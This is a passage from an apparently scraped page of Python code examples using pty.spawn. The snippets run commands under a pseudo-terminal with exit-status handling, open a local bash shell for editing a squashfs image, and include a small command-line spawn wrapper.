            os.closerange(3, 1024)
            signal.alarm(300)  # pending alarm inherited across exec, but not a fork
            # Problem:  pty.spawn invokes fork.  alarm() will have no effect.
            pty.spawn(cmd, master_read)
            sys.exit(0)
        else:
            return MySubprocess(pid)
Exemple #57
0
def pty_check_call(cmd):
    """
    Runs the given command in a subprocess with I/O redirected through a pty.
    This ensures isatty(3) will return 1.
    An exception is raised if the command exits with non-zero status.
    """
    # python2.7 doesn't return the exitcode here:
    pty.spawn(cmd)
    # get exit status of first child
    (pid, status) = os.waitpid(-1, 0)
    returncode = 1
    if status == 0:
        returncode = 0
    elif os.WIFEXITED(status):
        returncode = os.WEXITSTATUS(status)
        print("PID %d exited with status %d" % (pid, returncode))
    elif os.WIFSIGNALED(status):
        signal = os.WTERMSIG(status)
        print("PID %d exited with signal %d" % (pid, signal))
    else:
        print("PID %d exited with non-zero status 0x%02x" % (pid, status))
    if returncode > 0:
        raise subprocess.CalledProcessError(returncode, cmd)
Exemple #58
0
def editimg(image):
    if (image is None):
        squashfs_file = get_from_config("images", "trg_img", dist)
    else:
        squashfs_file = image

    if not os.path.isfile(squashfs_file):
        sys.exit("The image file {0} doesn't exist.".format(squashfs_file))

    # Extract the image.
    print "Extracting {0} to {1} ...".format(squashfs_file, work_dir)
    run(["unsquashfs", "-f", "-d", work_dir, squashfs_file])
    # Work in the image
    os.chdir(work_dir)
    print "Entering into a bash shell to edit the image. ^d when you have finished"
    os.putenv("PROMPT_COMMAND", "echo -ne  '\e[1;31m clara images> \e[0m'")
    pty.spawn(["/bin/bash"])
    # Rename old image and recreate new one
    os.rename(squashfs_file, squashfs_file + ".old")
    print("Previous image renamed to {0}.".format(squashfs_file + ".old"))
    print "Recreating image at {0}".format(squashfs_file)
    run(["mksquashfs", work_dir, squashfs_file, "-no-exports", "-noappend"])
    os.chmod(squashfs_file, 0o755)
Exemple #59
0
import sys
import pty

args = " ".join(sys.argv[2:])
pty.spawn([sys.argv[1], args])